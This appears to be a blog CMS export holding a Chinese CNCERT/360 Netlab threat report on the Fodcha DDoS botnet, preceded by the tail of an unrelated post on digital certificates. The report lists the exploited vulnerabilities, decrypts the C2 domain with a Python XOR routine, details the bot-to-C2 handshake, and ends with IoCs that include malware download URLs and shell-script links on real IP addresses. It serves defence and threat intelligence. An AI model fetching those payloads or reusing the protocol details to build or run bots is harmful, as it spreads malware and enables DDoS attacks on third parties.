在使用证书等级方面,金融机构使用高等级证书的比例最高,央企次之,政府则最低。\n8. 综合来看,在推进使用网络数字证书和国内数字证书颁发机构在提高市场占有率发展有较大的空间。\n\n## 参考资料\n1. http://www.cnnic.net.cn/hlwfzyj/hlwxzbg/hlwtjbg/202202/P020220407403488048001.pdf"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6248390f2c81b900076f9385 |
post | null | 2022-04-08T07:07:40.000Z | 63873b9a8b1c1e0007f53016 | men-sheng-fa-da-cai-fodchajiang-shi-wang-luo | 0 | 2022-04-13T04:13:09.000Z | public | published | null | 2022-04-13T04:13:09.000Z | 新威胁:闷声发大财的Fodcha僵尸网络 | <!--kg-card-begin: markdown--><p>本报告由国家互联网应急中心(CNCERT)与三六零数字安全科技集团有限公司共同发布。</p>
<h2 id="">概述</h2>
<p>近期,CNCERT和三六零数字安全科技集团有限公司共同监测发现一个新的且在互联网上快速传播的DDoS僵尸网络,通过跟踪监测发现其每日上线境内肉鸡数(以IP数计算)已超过1万、且每日会针对超过100个攻击目标发起攻击,给网络空间带来较大威胁。由于该僵尸网络最初使用的C2域名folded.in,以及使用chacha算法来加密网络流量,我们将其命名为Fodcha。</p>
<h2 id="">僵尸网络规模</h2>
<p>通过监测分析发现,2022年3月29日至4月10日Fodcha僵尸网络日上线境内肉鸡数最高达到1.5万台,累计感染肉鸡数达到6.2万。每日境内上线肉鸡数情况如下。</p>
<p><img src="__GHOST_URL__/content/images/2022/04/--2022-04-12-16.12.32.png" alt="--2022-04-12-16.12.32" loading="lazy"></p>
<blockquote>
<p>Netlab按:<br>
根据国外合作伙伴的数据,我们估算该家族全球日活肉鸡数量应该在5.6w+</p>
</blockquote>
<p>Fodcha僵尸网络位于境内肉鸡按省份统计,排名前三位的分别为山东省(12.9%)、辽宁省(11.8%)和浙江省(9.9%);按运营商统计,联通占59.9%,电信占39.4%,移动占0.5%。</p>
<p><img src="__GHOST_URL__/content/images/2022/04/--2022-04-12-16.12.48.png" alt="--2022-04-12-16.12.48" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><hr><!--kg-card-end: html--><!--kg-card-begin: markdown--><h2 id="">传播方式</h2>
<p>通过跟踪监测,我们发现Fodcha主要通过以下NDay漏洞和Telnet/SSH弱口令传播,另外根据我们的数据分析,Fodcha的运营者还会利用Telnet暴破工具进行Telent暴力破解。</p>
<blockquote>
<p>Netlab按:<br>
Telent暴力破解扫描使用的是我们内部命名的<code>Crazyfia</code>的Telnet暴破工具,Fodcha的运营者会根据<code>Crazyfia</code>的扫描结果植入<code>Fodcha</code>样本。</p>
</blockquote>
<p><img src="__GHOST_URL__/content/images/2022/04/fodcha.vul.png" alt="fodcha.vul" loading="lazy"></p>
<p>漏洞列表:</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Device/Service</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/39328">Android ADB Debug Server RCE</a></td>
<td>Android</td>
</tr>
<tr>
<td><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205">CVE-2021-22205</a></td>
<td>GitLab</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-35394">CVE-2021-35394</a></td>
<td>Realtek Jungle SDK</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471/">JAWS Webserver unauthenticated shell command execution</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/">LILIN DVR RCE</a></td>
<td>LILIN DVR</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37770">TOTOLINK Routers Backdoor</a></td>
<td>TOTOLINK Routers</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/38453">ZHONE Router Web RCE</a></td>
<td>ZHONE Router</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="">样本分析</h2>
<p>Fodcha僵尸网络包括针对mips、mpsl、arm、x86等CPU架构的样本。在近3个月的时间中,我们捕获的Fodcha样本可以分成v1、v2 二个版本,它们的主要功能几乎是一样的,通过交叉对比不同版本,我们总结了Fodcha的以下4个主要特性,可以看出Fodcha运营者试图隐藏C2并在C2之间进行负载均衡。</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Chacha20</th>
<th>C2 Format</th>
<th>C2</th>
<th>MAPPING(Domain<-->IP)</th>
<th>MAPPING(IP<-->PORT )</th>
</tr>
</thead>
<tbody>
<tr>
<td>v1</td>
<td>yes</td>
<td>plaintext</td>
<td>folded.in</td>
<td>1:N</td>
<td>N:1</td>
</tr>
<tr>
<td>v2</td>
<td>yes</td>
<td>ciphertext</td>
<td>fridgexperts.cc</td>
<td>1:N</td>
<td>N:10</td>
</tr>
</tbody>
</table>
<p>本文选取最新的V2 X86 CPU架构的样本为主要的分析对象,它的基本信息如下:</p>
<pre><code>8ea56a9fa9b11b15443b369f49fa9719
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
</code></pre>
<p>Fodcha的功能非常简单,当它在被侵入设备运行时,首先会检测运行时的参数,如果不带参数,则直接退出,这是一种对通过沙箱抽取IOC的简单对抗;如果带有参数,则首先解密出敏感资源,在Console上输出<strong>here we are</strong>,然后使用随机字串伪装进程名,最后和C2建立通信,等待执行C2下发的指令,下文将着重介绍Fodcha的解密方法和网络通信。</p>
<h3 id="">解密敏感资源</h3>
<p>Fodcha使用一种多重Xor的加密方式来保护其敏感资源。</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_xor.png" width="860px" />
<p>其对应的python实现如下所示,以样本中的密文<code>EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9</code>为例,解密后正是Fodcha的C2:<strong>fridgexperts.cc</strong>。</p>
<pre><code class="language-python">cipher = [0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC, 0xFB, 0xF1, 0xA3, 0xFB, 0xE9]
key = [0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65, 0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]
tmp=[]
for i in range(len(cipher)):
tmp.append((cipher[i] ^ key[i])%0xff^0xbe)
for i in range(len(tmp)):
for j in key:
tmp[i]^=j
out=''.join([chr(i) for i in tmp])
print(out)
</code></pre>
<h3 id="">网络通信</h3>
<p>Fodcha通过以下代码片段和C2建立连接,</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_connect.png" width="860px" />
<p>其中C2域名的DNS A记录IP与PORT的对应关系为N:10。</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_mapping.png" width="860px" />
<p>当成功和C2建立连接后,Bot与C2必须经过5轮交互,才能真正和C2建立通信。我们使用<code>arm</code>做为分组字串,产生了下图所示的网络流量:</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_net.png" width="860px" />
<p>我们来详细介绍下此流量是如何生成的:</p>
<h6 id="step1botc25">Step 1:Bot--->C2(定长5字节)</h6>
<p>硬编码的<code>ee 00 00 </code>通过tcp/ip checksum方法,计算得到2字节的校验值0xff11,将它填到末尾2字节处。</p>
<pre><code class="language-python">def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
</code></pre>
<h6 id="step2c2bot23212">Step 2:C2--->BOT(2次,第一次32字节;第二次12字节)</h6>
<p>注意key与nonce由C2端生成,不是固定的。</p>
<pre><code>前32字节为chacha20算法的key
26 14 2d 4d 58 d2 9e 26 67 98 bc e4 ef 69 b9 04
e6 d0 73 17 5c 4f 71 33 9f 97 18 f7 31 8d d4 d6
后12字节为chacha20算法的nonce
2f 8a 5c da 57 50 a6 64 d7 98 f5 5d
</code></pre>
<h6 id="step3botc25">Step 3: BOT--->C2(定长5字节)</h6>
<p>硬编码的<code>55 00 00</code>通过checksum,计算得到校验值0xffaa,填到末尾2字节,变成<code>55 00 00 aa ff</code>,然后使用chacha20算法加密,轮数为1,得到<code>99 9e 95 f6 32</code>。</p>
<h6 id="step4c2bot5">Step 4: C2--->BOT(定长5字节)</h6>
<p>此时如果收到的5字节的格式为<code>0x55开头,最后2字节为校验值</code>则说明前面的交互是对的,进入Step 5要求BOT开始发送分组信息。</p>
<h6 id="step5botc225">Step 5:Bot--->C2(2次,第一次5字节,第二次分组)</h6>
<ul>
<li>
<p>第一次<br>
硬编码的<code>fe 00 00</code>,第三个字节真为分组长度,变成<code>fe 00 03</code>,计算得到校验值0xfefe,填到尾部得到<code>fe 00 03 fe fe</code></p>
</li>
<li>
<p>第二次<br>
分组字串<code>arm</code>,使用chacha20加密,轮数为1,得到<code>ad ec f8</code></p>
</li>
</ul>
<p>至此BOT成功上线,开始等待执行C2下发的指令,指令码及其含义如下所示:</p>
<ul>
<li>0x69, Heartbeat<br>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_heart.png" width="860px" /></li>
<li>0xEB, DDoS Attack</li>
<li>0xFB, Exit</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><hr><!--kg-card-end: html--><!--kg-card-begin: markdown--><h2 id="c2">C2跟踪</h2>
<p>我们的僵尸网络跟踪系统数据显示<code>Fodcha</code>从诞生起就一直有对外发起DDoS攻击,其攻击目标趋势如下:</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha.cctrackmon.png" width="860px" />
<p>可以看到,该家族的DDoS行为是非常活跃:</p>
<ul>
<li>攻击最猛烈的时候是 2022-03-01,跟踪到超过130k条指令</li>
<li>最近一周,日均指令超过7k,针对100+目标</li>
</ul>
<p>同时,我们从DNS的角度,也可以清晰的看到该家族的C2域名在 2022-03-19前后做了一次更替,对应前述样本分析部分中 v1 到 v2 的转变。</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha.dnsmon.png" width="860px" />
<blockquote>
<p>Netlab按:<br>
v1 到 v2 的转变,是因为v1版本的C2对应的IP被国外某云厂商处置过,因此Fodcha的运营者迫不得已重新上线了v2版本,更新了C2。新C2映射到十几个IP,而且分布在美国、韩国、日本、印度多个国家,同时分散在 Amazon、DediPath、DigitalOcean、Linode等多个平台,充满了“危机意识”。</p>
</blockquote>
<h2 id="">防范建议</h2>
<p>请广大网民及服务/产品厂商强化风险意识,加强安全防范,避免不必要的经济损失,主要建议包括:1、及时修复相关系统漏洞。2、不使用弱密码或默认密码,定期更换密码。</p>
<p>当发现主机感染僵尸木马程序后,立即核实主机受控情况和入侵途径,并对受害主机进行清理。</p>
<h2 id="ioc">IoC</h2>
<h4 id="md5">样本MD5</h4>
<pre><code>0e3ff1a19fcd087138ec85d5dba59715
1b637faa5e424966393928cd6df31849
208e72261e10672caa60070c770644ba
2251cf2ed00229c8804fc91868b3c1cb
2a02e6502db381fa4d4aeb356633af73
2ed0c36ebbeddb65015d01e6244a2846
2fe2deeb66e1a08ea18dab520988d9e4
37adb95cbe4875a9f072ff7f2ee4d4ae
3fc8ae41752c7715f7550dabda0eb3ba
40f53c47d360c1c773338ef5c42332f8
4635112e2dfe5068a4fe1ebb1c5c8771
525670acfd097fa0762262d9298c3b3b
54e4334baa01289fa4ee966a806ef7f1
5567bebd550f26f0a6df17b95507ca6d
5bdb128072c02f52153eaeea6899a5b1
6244e9da30a69997cf2e61d8391976d9
65dd4b23518cba77caab3e8170af8001
6788598e9c37d79fd02b7c570141ddcf
760b2c21c40e33599b0a10cf0958cfd4
792fdd3b9f0360b2bbee5864845c324c
7a6ebf1567de7e432f09f53ad14d7bc5
9413d6d7b875f071314e8acae2f7e390
954879959743a7c63784d1204efc7ed3
977b4f1a153e7943c4db6e5a3bf40345
9defda7768d2d806b06775c5768428c4
9dfa80650f974dffe2bda3ff8495b394
a996e86b511037713a1be09ee7af7490
b11d8e45f7888ce85a67f98ed7f2cd89
b1776a09d5490702c12d85ab6c6186cd
b774ad07f0384c61f96a7897e87f96c0
c99db0e8c3ecab4dd7f13f3946374720
c9cbf28561272c705c5a6b44897757ca
cbdb65e4765fbd7bcae93b393698724c
d9c240dbed6dfc584a20246e8a79bdae
e372e5ca89dbb7b5c1f9f58fe68a8fc7
ebf81131188e3454fe066380fa469d22
fe58b08ea78f3e6b1f59e5fe40447b11
</code></pre>
<h4 id="">下载链接</h4>
<pre><code>http://139.177.195.192/bins/arm
http://139.177.195.192/bins/arm5
http://139.177.195.192/bins/arm7
http://139.177.195.192/bins/mips
http://139.177.195.192/bins/realtek.mips
http://139.177.195.192/blah
http://139.177.195.192/linnn
http://139.177.195.192/skidrt
http://139.177.195.192/z.sh
http://162.33.179.171/bins/arm
http://162.33.179.171/bins/arm7
http://162.33.179.171/bins/mpsl
http://162.33.179.171/bins/realtek.mips
http://162.33.179.171/bins/realtek.mpsl
http://162.33.179.171/blah
http://162.33.179.171/k.sh
http://162.33.179.171/linnn
http://162.33.179.171/z.sh
http://206.188.197.104/bins/arm7
http://206.188.197.104/bins/realtek.mips
http://206.188.197.104/skidrt
http://31.214.245.253/bins/arm
http://31.214.245.253/bins/arm7
http://31.214.245.253/bins/mips
http://31.214.245.253/bins/mpsl
http://31.214.245.253/bins/x86
http://31.214.245.253/k.sh
http://31.214.245.253/kk.sh
</code></pre>
<h4 id="c2">C2域名</h4>
<pre><code>folded.in
fridgexperts.cc
</code></pre>
<!--kg-card-end: markdown--> | 本报告由国家互联网应急中心(CNCERT)与三六零数字安全科技集团有限公司共同发布。
概述
近期,CNCERT和三六零数字安全科技集团有限公司共同监测发现一个新的且在互联网上快速传播的DDoS僵尸网络,通过跟踪监测发现其每日上线境内肉鸡数(以IP数计算)已超过1万、且每日会针对超过100个攻击目标发起攻击,给网络空间带来较大威胁。由于该僵尸网络最初使用的C2域名folded.in,以及使用chacha算法来加密网络流量,我们将其命名为Fodcha。
僵尸网络规模
通过监测分析发现,2022年3月29日至4月10日Fodcha僵尸网络日上线境内肉鸡数最高达到1.5万台,累计感染肉鸡数达到6.2万。每日境内上线肉鸡数情况如下。
Netlab按:
根据国外合作伙伴的数据,我们估算该家族全球日活肉鸡数量应该在5.6w+
Fodcha僵尸网络位于境内肉鸡按省份统计,排名前三位的分别为山东省(12.9%)、辽宁省(11.8%)和浙江省(9.9%);按运营商统计,联通占59.9%,电信占39.4%,移动占0.5%。
传播方式
通过跟踪监测,我们发现Fodcha主要通过以下NDay漏洞和Telnet/SSH弱口令传播,另外根据我们的数据分析,Fodcha的运营者还会利用Telnet暴破工具进行Telent暴力破解。
Netlab按:
Telent暴力破解扫描使用的是我们内部命名的Crazyfia的Telnet暴破工具,Fodcha的运营者会根据Crazyfia的扫描结果植入Fodcha样本。
漏洞列表:
Vulnerability
Affected Device/Service
Android ADB Debug Server RCE
Android
CVE-2021-22205
GitLab
CVE-2021-35394
Realtek Jungle SDK
JAWS Webserver unauthenticated shell command execution
MVPower DVR
LILIN DVR RCE
LILIN DVR
TOTOLINK Routers Backdoor
TOTOLINK Routers
ZHONE Router Web RCE
ZHONE Router
样本分析
Fodcha僵尸网络包括针对mips、mpsl、arm、x86等CPU架构的样本。在近3个月的时间中,我们捕获的Fodcha样本可以分成v1、v2 二个版本,它们的主要功能几乎是一样的,通过交叉对比不同版本,我们总结了Fodcha的以下4个主要特性,可以看出Fodcha运营者试图隐藏C2并在C2之间进行负载均衡。
Version
Chacha20
C2 Format
C2
MAPPING(Domain<-->IP)
MAPPING(IP<-->PORT )
v1
yes
plaintext
folded.in
1:N
N:1
v2
yes
ciphertext
fridgexperts.cc
1:N
N:10
本文选取最新的V2 X86 CPU架构的样本为主要的分析对象,它的基本信息如下:
8ea56a9fa9b11b15443b369f49fa9719
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
Fodcha的功能非常简单,当它在被侵入设备运行时,首先会检测运行时的参数,如果不带参数,则直接退出,这是一种对通过沙箱抽取IOC的简单对抗;如果带有参数,则首先解密出敏感资源,在Console上输出here we are,然后使用随机字串伪装进程名,最后和C2建立通信,等待执行C2下发的指令,下文将着重介绍Fodcha的解密方法和网络通信。
解密敏感资源
Fodcha使用一种多重Xor的加密方式来保护其敏感资源。
其对应的python实现如下所示,以样本中的密文EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9为例,解密后正是Fodcha的C2:fridgexperts.cc。
cipher = [0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC, 0xFB, 0xF1, 0xA3, 0xFB, 0xE9]
key = [0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65, 0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]
tmp=[]
for i in range(len(cipher)):
tmp.append((cipher[i] ^ key[i])%0xff^0xbe)
for i in range(len(tmp)):
for j in key:
tmp[i]^=j
out=''.join([chr(i) for i in tmp])
print(out)
网络通信
Fodcha通过以下代码片段和C2建立连接,
其中C2域名的DNS A记录IP与PORT的对应关系为N:10。
当成功和C2建立连接后,Bot与C2必须经过5轮交互,才能真正和C2建立通信。我们使用arm做为分组字串,产生了下图所示的网络流量:
我们来详细介绍下此流量是如何生成的:
Step 1:Bot--->C2(定长5字节)
硬编码的ee 00 00 通过tcp/ip checksum方法,计算得到2字节的校验值0xff11,将它填到末尾2字节处。
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
Step 2:C2--->BOT(2次,第一次32字节;第二次12字节)
注意key与nonce由C2端生成,不是固定的。
前32字节为chacha20算法的key
26 14 2d 4d 58 d2 9e 26 67 98 bc e4 ef 69 b9 04
e6 d0 73 17 5c 4f 71 33 9f 97 18 f7 31 8d d4 d6
后12字节为chacha20算法的nonce
2f 8a 5c da 57 50 a6 64 d7 98 f5 5d
Step 3: BOT--->C2(定长5字节)
硬编码的55 00 00通过checksum,计算得到校验值0xffaa,填到末尾2字节,变成55 00 00 aa ff,然后使用chacha20算法加密,轮数为1,得到99 9e 95 f6 32。
Step 4: C2--->BOT(定长5字节)
此时如果收到的5字节的格式为0x55开头,最后2字节为校验值则说明前面的交互是对的,进入Step 5要求BOT开始发送分组信息。
Step 5:Bot--->C2(2次,第一次5字节,第二次分组)
*
第一次
硬编码的fe 00 00,第三个字节真为分组长度,变成fe 00 03,计算得到校验值0xfefe,填到尾部得到fe 00 03 fe fe
*
第二次
分组字串arm,使用chacha20加密,轮数为1,得到ad ec f8
至此BOT成功上线,开始等待执行C2下发的指令,指令码及其含义如下所示:
* 0x69, Heartbeat
* 0xEB, DDoS Attack
* 0xFB, Exit
C2跟踪
我们的僵尸网络跟踪系统数据显示Fodcha从诞生起就一直有对外发起DDoS攻击,其攻击目标趋势如下:
可以看到,该家族的DDoS行为是非常活跃:
* 攻击最猛烈的时候是 2022-03-01,跟踪到超过130k条指令
* 最近一周,日均指令超过7k,针对100+目标
同时,我们从DNS的角度,也可以清晰的看到该家族的C2域名在 2022-03-19前后做了一次更替,对应前述样本分析部分中 v1 到 v2 的转变。
Netlab按:
v1 到 v2 的转变,是因为v1版本的C2对应的IP被国外某云厂商处置过,因此Fodcha的运营者迫不得已重新上线了v2版本,更新了C2。新C2映射到十几个IP,而且分布在美国、韩国、日本、印度多个国家,同时分散在 Amazon、DediPath、DigitalOcean、Linode等多个平台,充满了“危机意识”。
防范建议
请广大网民及服务/产品厂商强化风险意识,加强安全防范,避免不必要的经济损失,主要建议包括:1、及时修复相关系统漏洞。2、不使用弱密码或默认密码,定期更换密码。
当发现主机感染僵尸木马程序后,立即核实主机受控情况和入侵途径,并对受害主机进行清理。
IoC
样本MD5
0e3ff1a19fcd087138ec85d5dba59715
1b637faa5e424966393928cd6df31849
208e72261e10672caa60070c770644ba
2251cf2ed00229c8804fc91868b3c1cb
2a02e6502db381fa4d4aeb356633af73
2ed0c36ebbeddb65015d01e6244a2846
2fe2deeb66e1a08ea18dab520988d9e4
37adb95cbe4875a9f072ff7f2ee4d4ae
3fc8ae41752c7715f7550dabda0eb3ba
40f53c47d360c1c773338ef5c42332f8
4635112e2dfe5068a4fe1ebb1c5c8771
525670acfd097fa0762262d9298c3b3b
54e4334baa01289fa4ee966a806ef7f1
5567bebd550f26f0a6df17b95507ca6d
5bdb128072c02f52153eaeea6899a5b1
6244e9da30a69997cf2e61d8391976d9
65dd4b23518cba77caab3e8170af8001
6788598e9c37d79fd02b7c570141ddcf
760b2c21c40e33599b0a10cf0958cfd4
792fdd3b9f0360b2bbee5864845c324c
7a6ebf1567de7e432f09f53ad14d7bc5
9413d6d7b875f071314e8acae2f7e390
954879959743a7c63784d1204efc7ed3
977b4f1a153e7943c4db6e5a3bf40345
9defda7768d2d806b06775c5768428c4
9dfa80650f974dffe2bda3ff8495b394
a996e86b511037713a1be09ee7af7490
b11d8e45f7888ce85a67f98ed7f2cd89
b1776a09d5490702c12d85ab6c6186cd
b774ad07f0384c61f96a7897e87f96c0
c99db0e8c3ecab4dd7f13f3946374720
c9cbf28561272c705c5a6b44897757ca
cbdb65e4765fbd7bcae93b393698724c
d9c240dbed6dfc584a20246e8a79bdae
e372e5ca89dbb7b5c1f9f58fe68a8fc7
ebf81131188e3454fe066380fa469d22
fe58b08ea78f3e6b1f59e5fe40447b11
下载链接
http://139.177.195.192/bins/arm
http://139.177.195.192/bins/arm5
http://139.177.195.192/bins/arm7
http://139.177.195.192/bins/mips
http://139.177.195.192/bins/realtek.mips
http://139.177.195.192/blah
http://139.177.195.192/linnn
http://139.177.195.192/skidrt
http://139.177.195.192/z.sh
http://162.33.179.171/bins/arm
http://162.33.179.171/bins/arm7
http://162.33.179.171/bins/mpsl
http://162.33.179.171/bins/realtek.mips
http://162.33.179.171/bins/realtek.mpsl
http://162.33.179.171/blah
http://162.33.179.171/k.sh
http://162.33.179.171/linnn
http://162.33.179.171/z.sh
http://206.188.197.104/bins/arm7
http://206.188.197.104/bins/realtek.mips
http://206.188.197.104/skidrt
http://31.214.245.253/bins/arm
http://31.214.245.253/bins/arm7
http://31.214.245.253/bins/mips
http://31.214.245.253/bins/mpsl
http://31.214.245.253/bins/x86
http://31.214.245.253/k.sh
http://31.214.245.253/kk.sh
C2域名
folded.in
fridgexperts.cc
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"本报告由国家互联网应急中心(CNCERT)与三六零数字安全科技集团有限公司共同发布。\n\n## 概述\n\n近期,CNCERT和三六零数字安全科技集团有限公司共同监测发现一个新的且在互联网上快速传播的DDoS僵尸网络,通过跟踪监测发现其每日上线境内肉鸡数(以IP数计算)已超过1万、且每日会针对超过100个攻击目标发起攻击,给网络空间带来较大威胁。由于该僵尸网络最初使用的C2域名folded.in,以及使用chacha算法来加密网络流量,我们将其命名为Fodcha。\n\n\n## 僵尸网络规模\n\n通过监测分析发现,2022年3月29日至4月10日Fodcha僵尸网络日上线境内肉鸡数最高达到1.5万台,累计感染肉鸡数达到6.2万。每日境内上线肉鸡数情况如下。\n\n![--2022-04-12-16.12.32](__GHOST_URL__/content/images/2022/04/--2022-04-12-16.12.32.png)\n\n> \n> Netlab按:\n> 根据国外合作伙伴的数据,我们估算该家族全球日活肉鸡数量应该在5.6w+\n> \n\nFodcha僵尸网络位于境内肉鸡按省份统计,排名前三位的分别为山东省(12.9%)、辽宁省(11.8%)和浙江省(9.9%);按运营商统计,联通占59.9%,电信占39.4%,移动占0.5%。\n\n![--2022-04-12-16.12.48](__GHOST_URL__/content/images/2022/04/--2022-04-12-16.12.48.png)\n"}],["html",{"html":"<hr>"}],["markdown",{"markdown":"\n## 传播方式 \n\n通过跟踪监测,我们发现Fodcha主要通过以下NDay漏洞和Telnet/SSH弱口令传播,另外根据我们的数据分析,Fodcha的运营者还会利用Telnet暴破工具进行Telent暴力破解。\n> \n> Netlab按:\n> Telent暴力破解扫描使用的是我们内部命名的`Crazyfia`的Telnet暴破工具,Fodcha的运营者会根据`Crazyfia`的扫描结果植入`Fodcha`样本。\n> \n\n![fodcha.vul](__GHOST_URL__/content/images/2022/04/fodcha.vul.png)\n\n漏洞列表:\n| Vulnerability | Affected Device/Service |\n| ------------- | ---------------- |\n| [Android ADB Debug Server RCE](https://www.exploit-db.com/exploits/39328) | Android |\n| [CVE-2021-22205](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205) | GitLab |\n| [CVE-2021-35394](https://nvd.nist.gov/vuln/detail/CVE-2021-35394) | Realtek Jungle SDK|\n| [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR | \n| [LILIN DVR RCE](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/)| LILIN DVR |\n| [TOTOLINK Routers Backdoor](https://www.exploit-db.com/exploits/37770) | TOTOLINK Routers |\n| [ZHONE Router Web RCE](https://www.exploit-db.com/exploits/38453) | ZHONE Router |\n\n\n<hr>\n\n## 样本分析\n\nFodcha僵尸网络包括针对mips、mpsl、arm、x86等CPU架构的样本。在近3个月的时间中,我们捕获的Fodcha样本可以分成v1、v2 二个版本,它们的主要功能几乎是一样的,通过交叉对比不同版本,我们总结了Fodcha的以下4个主要特性,可以看出Fodcha运营者试图隐藏C2并在C2之间进行负载均衡。\n\n\n| Version | Chacha20 | C2 Format | C2 | MAPPING(Domain<-->IP) | MAPPING(IP<-->PORT ) |\n| ------- | -------- | ---------- | --------------- | --------------------- | -------------------- |\n| v1 | yes | plaintext | folded.in | 1:N | N:1 |\n| v2 | yes | ciphertext | fridgexperts.cc | 1:N | N:10 |\n\n\n\n本文选取最新的V2 X86 CPU架构的样本为主要的分析对象,它的基本信息如下:\n\n```\n8ea56a9fa9b11b15443b369f49fa9719\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nPacker:None\n```\n\nFodcha的功能非常简单,当它在被侵入设备运行时,首先会检测运行时的参数,如果不带参数,则直接退出,这是一种对通过沙箱抽取IOC的简单对抗;如果带有参数,则首先解密出敏感资源,在Console上输出**here we are**,然后使用随机字串伪装进程名,最后和C2建立通信,等待执行C2下发的指令,下文将着重介绍Fodcha的解密方法和网络通信。\n\n### 解密敏感资源\nFodcha使用一种多重Xor的加密方式来保护其敏感资源。\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_xor.png\" width=\"860px\" />\n\n其对应的python实现如下所示,以样本中的密文``EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9``为例,解密后正是Fodcha的C2:**fridgexperts.cc**。\n\n```python\ncipher = [0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC, 0xFB, 0xF1, 0xA3, 0xFB, 0xE9]\nkey = [0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65, 0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]\n\ntmp=[]\n\nfor i in range(len(cipher)):\n tmp.append((cipher[i] ^ key[i])%0xff^0xbe)\n\nfor i in range(len(tmp)):\n for j in key:\n tmp[i]^=j\n\nout=''.join([chr(i) for i in tmp])\nprint(out)\n```\n\n\n### 网络通信\nFodcha通过以下代码片段和C2建立连接,\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_connect.png\" width=\"860px\" />\n\n其中C2域名的DNS A记录IP与PORT的对应关系为N:10。\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_mapping.png\" width=\"860px\" /> \n\n当成功和C2建立连接后,Bot与C2必须经过5轮交互,才能真正和C2建立通信。我们使用```arm```做为分组字串,产生了下图所示的网络流量:\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_net.png\" width=\"860px\" /> \n\n我们来详细介绍下此流量是如何生成的:\n\n###### Step 1:Bot--->C2(定长5字节)\n\n硬编码的``ee 00 00 ``通过tcp/ip checksum方法,计算得到2字节的校验值0xff11,将它填到末尾2字节处。\n\n```python\ndef checksum(data):\n s = 0\n n = len(data) % 2\n for i in range(0, len(data)-n, 2):\n s+= ord(data[i]) + (ord(data[i+1]) << 8)\n if n:\n s+= ord(data[i+1])\n while (s >> 16):\n s = (s & 0xFFFF) + (s >> 16)\n s = ~s & 0xffff\n return s\n```\n\n###### Step 2:C2--->BOT(2次,第一次32字节;第二次12字节)\n注意key与nonce由C2端生成,不是固定的。\n```\n前32字节为chacha20算法的key\n\n26 14 2d 4d 58 d2 9e 26 67 98 bc e4 ef 69 b9 04\ne6 d0 73 17 5c 4f 71 33 9f 97 18 f7 31 8d d4 d6\n\n后12字节为chacha20算法的nonce\n\n2f 8a 5c da 57 50 a6 64 d7 98 f5 5d\n```\n\n###### Step 3: BOT--->C2(定长5字节)\n\n硬编码的```55 00 00```通过checksum,计算得到校验值0xffaa,填到末尾2字节,变成```55 00 00 aa ff```,然后使用chacha20算法加密,轮数为1,得到```99 9e 95 f6 32```。\n\n###### Step 4: C2--->BOT(定长5字节)\n\n此时如果收到的5字节的格式为``0x55开头,最后2字节为校验值``则说明前面的交互是对的,进入Step 5要求BOT开始发送分组信息。\n\n###### Step 5:Bot--->C2(2次,第一次5字节,第二次分组)\n\n- 第一次\n硬编码的```fe 00 00```,第三个字节真为分组长度,变成```fe 00 03```,计算得到校验值0xfefe,填到尾部得到```fe 00 03 fe fe```\n\n- 